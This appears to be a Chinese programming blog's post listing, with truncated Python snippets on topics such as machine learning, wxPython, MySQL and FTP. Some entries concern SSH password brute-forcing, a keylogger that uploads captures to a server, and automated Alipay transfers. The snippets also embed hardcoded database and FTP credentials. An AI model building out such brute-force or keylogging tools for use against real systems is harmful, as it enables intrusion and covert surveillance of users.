python
septwolves2015
这个作者很懒,什么都没留下…
展开
-
不调包,用python最简单的代码手写线性回归梯度下降算法
不写不知道,一写吓一跳,本来觉得自己公式啥的都可以手推了,结果写起来还是问题一大堆,比如:以前从没考虑过收敛,结果第一遍代码写完误差却越来越高,一查原因原来是收敛条件没加限制,本来想用线性代数实现,结果研究传参的数据结构整了半个多小时,本来将步长设为0.01时,发现效果并不好。最近因项目需要,学习了一个多月的机器学习算法,从基础理论到sklearn,再到tensorflow 2.0教程都看了一个遍,似乎有点感觉了,现在基本上可以通过调包实现大多数的常见算法以及常见调参调优方法。原创 2023-04-19 18:02:06 · 395 阅读 · 1 评论 -
python模块化开发知识点汇总(from和import的用法)
python用了2年多,一直都是用来开发小工具,每个项目的文件一般都不超过10个,疫情禁足期间,突然想用python开发一套游戏类的演示系统,于是就自己写了一个框架,发现python在模块化开发这块还是有挺多知识点的,今天就把它总结一下吧,纯粹是个人的实践和总结,有不对的地方,欢迎各位看观指正! 在讲模块化开发之前,先讲一下模块化软件设计的概念。 模块化...原创 2020-02-24 14:34:20 · 6553 阅读 · 0 评论 -
完美解决ValueError: invalid literal for int() with base 10 错误问题
今天写了一个从文本文件导入数据到MYSQL的程序,突然报了这么一个错误!发现文本中多了3个看不见的字符\xef\xbb\xbf,后来知道这是文本文件中的BOM头,于是用NOTEPAD++清除掉这3个字符,就不报错了。具体操作如下:1、以notepad++方式打开文件2、在菜单栏中选择“编码”选项,在下拉选项中,选择“以UTF8无BOM格式编码”3、保存再次运行程序,原创 2017-12-18 11:33:38 · 132133 阅读 · 0 评论 -
python判断自身是否正在运行
实现思路:1)用os.getpid()获取当前程序运行PID,将PID存入文件中2)用psutil模块获取当前系统所有正在运行的pid3)读取之前存入的PID,判断该PID是否在系统PID中4)如果文件中的PID在系统PID中,则退出程序,否则存入新的PID,运行程序。原创 2017-11-25 17:33:13 · 8969 阅读 · 0 评论 -
python借用百度语音识别实现大音频文件语音识别功能
实现思路:先用ffmpeg将其他非wav格式的音频转换为wav格式,并转换音频的声道(百度支持声道为1),采样率(值为8000),格式转换完成后,再用ffmpeg将音频切成百度支持的时长(30秒和60秒2种,本程序用的是30秒)。原创 2017-11-16 19:57:25 · 3628 阅读 · 0 评论 -
python实现将m3u8格式转换为mp4视频格式
开发动机:最近用手机QQ浏览器下载了一些视频,视频越来越多,占用了手机内存,于是想把下载的视频传到电脑上保存,可后来发现这些视频都是m3u8格式的,且这个格式的视频都切成了碎片,存在电脑里不方便查看,于是想把它转换为其他可以直接打开播放的完整视频,到网上找了一些工具,都不怎么好用,后来发现一个手机端的“缓冲合并工具”,倒是可以用,但是合并的视频顺序是乱的,碎片的视频顺序还需要用户手动调整,感觉太耽原创 2017-07-31 00:20:43 · 23446 阅读 · 3 评论 -
用wxpython写了一个邮件群发的桌面程序
利用wxPython写一个群发邮件的桌面应用程序,主要功能点包括:BoxSizer布局管理器的应用,表单组件的应用,smtplib库群发邮件的应用原创 2016-11-26 16:36:38 · 671 阅读 · 0 评论 -
wxpython给框架添加窗口部件(一)
# -*- coding: utf-8 -*-import wxclass Frame_01(wx.Frame): def __init__(self): wx.Frame.__init__(self,None,-1,'here we go',pos=wx.DefaultPosition,size=(300,100)) panel = wx.Panel原创 2016-11-17 10:32:37 · 1778 阅读 · 0 评论 -
python自动登录SSH(暴力破解局网LINUX服务器登录密码)
# -*- coding: utf-8 -*-import paramikoimport osclient = paramiko.SSHClient()client.set_missing_host_key_policy(paramiko.AutoAddPolicy())#client.connect('192.168.8.248', 22, username='root', passw原创 2016-11-01 15:34:59 · 3128 阅读 · 0 评论 -
python使用selenium实现自动登录支付宝,并自动转帐
# -*- coding: utf-8 -*-from selenium import webdriver#from selenium.webdriver.common.keys import Keysfrom selenium.webdriver.common.by import Byfrom selenium.webdriver.support.ui import WebDriverW原创 2016-11-01 15:10:27 · 12374 阅读 · 3 评论 -
自己写的python操作mysql函数库(新手级别)
# -*- coding: utf-8 -*-import sysimport MySQLdbreload(sys)sys.setdefaultencoding('utf-8')try: conn = MySQLdb.connect(host='127.0.0.1',user='root',passwd='shinow!123',db='captcha',charset="UT原创 2016-11-01 14:21:34 · 1272 阅读 · 0 评论 -
python多线程实现局域网活跃IP扫描
import platform import sys import os import time import thread def get_os(): os = platform.system() if os == "Windows": return "n" else: return "c" def write_log(i转载 2016-11-01 14:16:52 · 2253 阅读 · 0 评论 -
python实现截屏,并保存到对应目录
# -*- coding: utf-8 -*- import time,Image import os, win32gui, win32ui, win32con, win32api def window_capture(dpath): hwnd = 0 hwndDC = win32gui.GetWindowDC(hwnd) mfcDC=win32ui.Cre转载 2016-11-01 14:14:16 · 7420 阅读 · 0 评论 -
自己写的python操作FTP服务器(未完,没写下载操作)
# -*- coding: utf-8 -*-import ftplibimport osclass XMyFtp: time_out = 30 ftp_user = "yxjk" ftp_pwd = "yxjk" ftp_host = "192.168.10.95" ftp_port = 21 ftp = None#FTP初始化原创 2016-11-01 14:10:34 · 341 阅读 · 0 评论 -
python监控客户端进程与键盘记录并上传至服务器
# -*- coding: utf-8 -*-from ctypes import *import pythoncomimport pyHookimport win32clipboardfrom inc import MyFtpfrom inc import ScreenShotimport timeimport os user32 = windll.user32kernel原创 2016-11-01 14:06:58 · 1196 阅读 · 0 评论 -
python通过查找注册表的方式获取盘符(磁盘列表)
python通过查找注册表的方式获取盘符(磁盘列表)原创 2016-11-01 14:04:13 · 2072 阅读 · 0 评论 -
牛X语言Python
第一次接触Python是在2008年,那时我还不是程序员,公司里一个牛X的程序员用了一晚上时间给我们项目组做了一个分析工具,后来听说是用Python做的,我也偷偷学了2天,觉得没啥意思,最主要的还是不喜欢它的编码风格,因为看惯了C,JAVA的大括号和分号。 2009年我也成为了一名程序员,因为是自学,没有经过专业培训,只能写写门槛比较低的PHP,谁知这一写就是7年。其实写了2原创 2016-11-01 09:40:35 · 418 阅读 · 1 评论